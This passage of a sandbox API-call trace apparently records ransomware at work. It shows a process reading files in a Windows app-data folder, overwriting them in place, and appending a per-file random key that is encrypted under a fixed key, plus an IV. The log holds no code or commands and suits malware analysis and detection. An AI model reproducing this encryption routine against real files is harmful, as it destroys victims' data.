lpBuffer=0x30ca430*, lpNumberOfBytesRead=0x2e1f9bc*=0xda, lpOverlapped=0x0) returned 1 [0168.869] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.869] WriteFile (in: hFile=0x1820, lpBuffer=0x30c9868*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30c9868*, lpNumberOfBytesWritten=0x2e1f9bc*=0xda, lpOverlapped=0x0) returned 1 [0168.870] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xda [0168.870] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.870] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.870] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.871] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.871] CloseHandle (hObject=0x1820) returned 1 [0168.884] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0168.884] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.884] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\9a29fd3b-1f8e-479c-a6b3-db454582425c.9dd5d850-8fb7-46d0-8e6d-2cb40d5ec796.down_meta", dwFileAttributes=0x80) returned 1 [0168.885] ReadFile (in: hFile=0x1820, lpBuffer=0x2f6bcb8, nNumberOfBytesToRead=0x5c4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6bcb8*, lpNumberOfBytesRead=0x2e1f9bc*=0x5c4, lpOverlapped=0x0) returned 1 [0168.905] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-1476, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.906] WriteFile (in: hFile=0x1820, lpBuffer=0x2f6c288*, nNumberOfBytesToWrite=0x5c4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6c288*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5c4, lpOverlapped=0x0) returned 1 [0168.906] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5c4 [0168.906] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.906] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.906] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.907] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.907] CloseHandle (hObject=0x1820) returned 1 [0169.217] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0169.217] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.217] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\8e881659-f010-401e-947f-d21800cd0388.up_meta_body", dwFileAttributes=0x80) returned 1 [0169.218] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.218] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.218] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.218] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0169.218] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.218] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.219] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.220] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.220] CloseHandle (hObject=0x1820) returned 1 [0169.227] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0169.227] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0169.227] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\8e881659-f010-401e-947f-d21800cd0388.up_meta", dwFileAttributes=0x80) returned 1 [0169.228] ReadFile (in: hFile=0x1820, lpBuffer=0x30c9868, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30c9868*, lpNumberOfBytesRead=0x2e1f9bc*=0xda, lpOverlapped=0x0) returned 1 [0169.229] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.229] WriteFile (in: hFile=0x1820, lpBuffer=0x30ca430*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ca430*, lpNumberOfBytesWritten=0x2e1f9bc*=0xda, lpOverlapped=0x0) returned 1 [0169.229] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xda [0169.229] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.229] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.229] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.230] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.230] CloseHandle (hObject=0x1820) returned 1 [0169.232] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0169.232] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0169.232] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\8e881659-f010-401e-947f-d21800cd0388.4006bee6-d249-464c-ab34-c05dbe287355.down_meta", dwFileAttributes=0x80) returned 1 [0169.233] ReadFile (in: hFile=0x1820, lpBuffer=0x2f6bb10, nNumberOfBytesToRead=0x5c2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6bb10*, lpNumberOfBytesRead=0x2e1f9bc*=0x5c2, lpOverlapped=0x0) returned 1 [0169.242] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-1474, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.242] WriteFile (in: hFile=0x1820, lpBuffer=0x2f6c0e0*, nNumberOfBytesToWrite=0x5c2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6c0e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5c2, lpOverlapped=0x0) returned 1 [0169.242] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5c2 [0169.242] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.242] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.242] WriteFile (in: hFile=0x1820, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.243] WriteFile (in: hFile=0x1820, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.243] CloseHandle (hObject=0x1820) returned 1 [0169.244] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0169.245] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0169.245] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\67ab33ac-a778-4769-a5cb-4f2db5833ff0.up_meta_body", dwFileAttributes=0x80) returned 1 [0169.245] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.245] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.245] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.245] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0169.245] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.245] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.246] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.247] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.247] CloseHandle (hObject=0x1820) returned 1 [0169.248] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0169.248] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.248] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\668e384d-ae80-493f-a269-da43a2cf83ed.up_meta_body", dwFileAttributes=0x80) returned 1 [0169.249] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.249] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.249] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.249] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0169.249] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.249] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.250] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.251] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.251] CloseHandle (hObject=0x1820) returned 1 [0169.252] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0169.252] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0169.252] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\668e384d-ae80-493f-a269-da43a2cf83ed.up_meta", dwFileAttributes=0x80) returned 1 [0169.253] ReadFile (in: hFile=0x1820, lpBuffer=0x30c9868, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30c9868*, lpNumberOfBytesRead=0x2e1f9bc*=0xda, lpOverlapped=0x0) returned 1 [0169.253] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.253] WriteFile (in: hFile=0x1820, lpBuffer=0x30ca430*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ca430*, lpNumberOfBytesWritten=0x2e1f9bc*=0xda, lpOverlapped=0x0) returned 1 [0169.254] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xda [0169.254] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.254] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.254] WriteFile (in: hFile=0x1820, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.254] WriteFile (in: hFile=0x1820, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.255] CloseHandle (hObject=0x1820) returned 1 [0169.260] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0169.260] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0169.260] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\668e384d-ae80-493f-a269-da43a2cf83ed.f1206db6-0d02-4b94-94ca-d7bc4c57a4f2.down_meta", dwFileAttributes=0x80) returned 1 [0169.260] ReadFile (in: hFile=0x1820, lpBuffer=0x2f6b898, nNumberOfBytesToRead=0x5c6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6b898*, lpNumberOfBytesRead=0x2e1f9bc*=0x5c6, lpOverlapped=0x0) returned 1 [0169.275] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-1478, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.275] WriteFile (in: hFile=0x1820, lpBuffer=0x2f6be68*, nNumberOfBytesToWrite=0x5c6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6be68*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5c6, lpOverlapped=0x0) returned 1 [0169.276] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5c6 [0169.276] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.276] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.276] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.276] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.277] CloseHandle (hObject=0x1820) returned 1 [0169.287] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0169.287] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.287] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\54827e92-1c6c-4ea8-bb11-3b3464cf22fc.up_meta_body", dwFileAttributes=0x80) returned 1 [0169.293] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.293] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.293] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.294] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0169.294] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.294] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.294] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.295] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.295] CloseHandle (hObject=0x1820) returned 1 [0169.300] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0169.300] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.300] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\54827e92-1c6c-4ea8-bb11-3b3464cf22fc.up_meta", dwFileAttributes=0x80) returned 1 [0169.300] ReadFile (in: hFile=0x1820, lpBuffer=0x564e60, nNumberOfBytesToRead=0x112, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x564e60*, lpNumberOfBytesRead=0x2e1f9bc*=0x112, lpOverlapped=0x0) returned 1 [0169.301] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-274, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.301] WriteFile (in: hFile=0x1820, lpBuffer=0x555d38*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555d38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x112, lpOverlapped=0x0) returned 1 [0169.302] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x112 [0169.302] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.302] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, 